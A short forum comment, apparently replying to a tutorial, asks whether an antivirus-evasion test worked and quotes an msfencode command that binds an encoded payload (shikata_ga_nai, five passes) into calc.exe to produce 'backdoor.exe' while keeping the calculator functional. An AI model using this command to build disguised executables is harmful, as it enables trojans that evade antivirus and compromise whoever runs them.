could you exactly tell how the results were? Did the AVs notice anything - did the binded result even launch like the legit part of the .exe (the calculator.exe for instance) work?
Did you test this command?
~/rt$ ./msfencode -t exe -x calc.exe -k -o backdoor.exe -e x86/shikata_ga_nai -c 5<br>
where backdoor.exe is the already stealthy-exe.